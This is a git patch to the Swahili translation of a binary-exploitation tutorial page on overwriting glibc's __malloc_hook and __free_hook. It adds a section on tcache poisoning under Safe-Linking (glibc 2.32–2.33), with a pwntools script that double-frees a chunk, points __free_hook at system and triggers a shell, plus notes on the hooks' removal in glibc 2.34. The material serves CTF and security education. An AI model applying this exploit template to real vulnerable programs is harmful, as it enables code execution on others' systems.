From 6a58620cb8ed4a27a4fe5acaec77f2052e0c2c03 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Wed, 13 Aug 2025 18:15:59 +0000
Subject: [PATCH] Translated
 ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma

---
 .../aw2exec-__malloc_hook.md                  | 81 +++++++++++++++++--
 1 file changed, 73 insertions(+), 8 deletions(-)

diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index 945af5384..69f7b0d81 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -1,12 +1,12 @@
-# WWW2Exec - \_\_malloc_hook & \_\_free_hook
+# WWW2Exec - __malloc_hook & __free_hook
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## **Malloc Hook**
 
-Kama unavyojua [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayotaja **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **iliyohifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
+Kama unavyoweza [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayorejelea **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **imehifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
 
-Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inapata bytes nyingi sana ikifanya `libc` kuita malloc ili kuzigawa kwenye heap.
+Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inachukua bytes nyingi sana na kufanya `libc` kuita malloc ili kuzigawa kwenye heap.
 
 Maelezo zaidi kuhusu One Gadget katika:
 
@@ -15,7 +15,7 @@ Maelezo zaidi kuhusu One Gadget katika:
 {{#endref}}
 
 > [!WARNING]
-> Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine ambazo zinaweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+> Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine zinazoweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
 
 ## Free Hook
 
@@ -43,11 +43,11 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 </code></pre>
 
-Katika kuvunjika kunakotajwa katika msimbo uliotangulia, katika `$eax` kutakuwa na anwani ya free hook.
+Katika kuvunja kunakotajwa katika msimbo uliotangulia, katika `$eax` kutakuwa na anwani ya free hook.
 
-Sasa shambulio la **fast bin** linafanywa:
+Sasa **shambulio la fast bin** linafanywa:
 
-- Kwanza kabisa inagundulika kwamba inawezekana kufanya kazi na **chunks za ukubwa 200** katika eneo la **`__free_hook`**:
+- Kwanza kabisa inagundulika kuwa inawezekana kufanya kazi na **chunks za ukubwa 200** katika eneo la **`__free_hook`**:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -59,12 +59,77 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 - Ikiwa tutafanikiwa kupata chunk ya haraka ya ukubwa 0x200 katika eneo hili, itakuwa inawezekana kubadilisha kiashiria cha kazi ambacho kitatekelezwa
 - Kwa hili, chunk mpya ya ukubwa `0xfc` inaundwa na kazi iliyounganishwa inaitwa kwa kiashiria hicho mara mbili, kwa njia hii tunapata kiashiria kwa chunk iliyofutwa ya ukubwa `0xfc*2 = 0x1f8` katika fast bin.
 - Kisha, kazi ya kuhariri inaitwa katika chunk hii kubadilisha anwani ya **`fd`** ya fast bin hii ili kuelekeza kwenye kazi ya awali ya **`__free_hook`**.
-- Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe ili kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**.
+- Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**.
 - Na hatimaye, chunk inayoshikilia mfuatano wa `/bin/sh\x00` inafutwa kwa kuita kazi ya kufuta, ikichochea kazi ya **`__free_hook`** ambayo inaelekeza kwa system na `/bin/sh\x00` kama parameter.
 
+---
+
+## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
+
+glibc 2.32 ilianzisha **Safe-Linking** – ukaguzi wa uaminifu unaolinda orodha za *single*-linked zinazotumiwa na **tcache** na fast-bins. Badala ya kuhifadhi kiashiria cha mbele cha raw (`fd`), ptmalloc sasa inahifadhi *iliyofichwa* kwa kutumia macro ifuatayo:
+```c
+#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
+#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)
+```
+Matokeo ya unyakuzi:
+
+1. **heap leak** ni lazima – mshambuliaji lazima ajue thamani ya wakati wa `chunk_addr >> 12` ili kuunda kiashiria kilichofichwa halali.
+2. Ni lazima tu kiashiria kamili cha byte 8 kiweze kufanywa; kuandika sehemu ya byte moja hakutapita ukaguzi.
+
+Primitive ndogo ya tcache-poisoning inayoweza kuandika `__free_hook` kwenye glibc 2.32/2.33 kwa hivyo inaonekana kama:
+```py
+from pwn import *
+
+libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+p    = process("./vuln")
+
+# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
+heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
+heap_base   = heap_leak & ~0xfff
+fd_key      = heap_base >> 12  # value used by PROTECT_PTR
+log.success(f"heap @ {hex(heap_base)}")
+
+# 2. Prepare two same-size chunks and double-free one of them
+a = malloc(0x48)
+b = malloc(0x48)
+free(a)
+free(b)
+free(a)           # tcache double-free ⇒ poisoning primitive
+
+# 3. Forge obfuscated fd that points to __free_hook
+free_hook = libc.sym['__free_hook']
+poison    = free_hook ^ fd_key
+edit(a, p64(poison))  # overwrite fd of tcache entry
+
+# 4. Two mallocs: the second one returns a pointer to __free_hook
+malloc(0x48)           # returns chunk a
+c = malloc(0x48)       # returns chunk @ __free_hook
+edit(c, p64(libc.sym['system']))
+
+# 5. Trigger
+bin_sh = malloc(0x48)
+edit(bin_sh, b"/bin/sh\x00")
+free(bin_sh)
+```
+The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
+
+---
+
+## Nini kilichobadilika katika glibc ≥ 2.34?
+
+Kuanza na **glibc 2.34 (Agosti 2021)**, nyongeza za allocation `__malloc_hook`, `__realloc_hook`, `__memalign_hook` na `__free_hook` ziliondolewa kutoka API ya umma na hazitumiwi tena na allocator. Alama za ulinganifu bado zinatolewa kwa binaries za urithi, lakini kuandika upya hazihusishi tena mtiririko wa udhibiti wa `malloc()` au `free()`.
+
+Mwanzo wa vitendo: katika usambazaji wa kisasa (Ubuntu 22.04+, Fedora 35+, Debian 12, nk.) lazima uhamie kwenye *mifumo mingine* ya hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, nk.) kwa sababu kuandika upya hook kutashindwa kimya.
+
+Ikiwa bado unahitaji tabia ya zamani kwa ajili ya ufuatiliaji, glibc inatoa `libc_malloc_debug.so` ambayo inaweza kupakuliwa kabla ili kurejesha hooks za urithi – lakini maktaba hii **haiwezi kutumika kwa uzalishaji na inaweza kutoweka katika toleo zijazo**.
+
+---
+
 ## Marejeleo
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
 - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+- Safe-Linking – Kuondoa primitive ya exploit ya malloc() ya miaka 20 (Check Point Research, 2020)
+- glibc 2.34 notes za kutolewa – kuondolewa kwa malloc hooks
 
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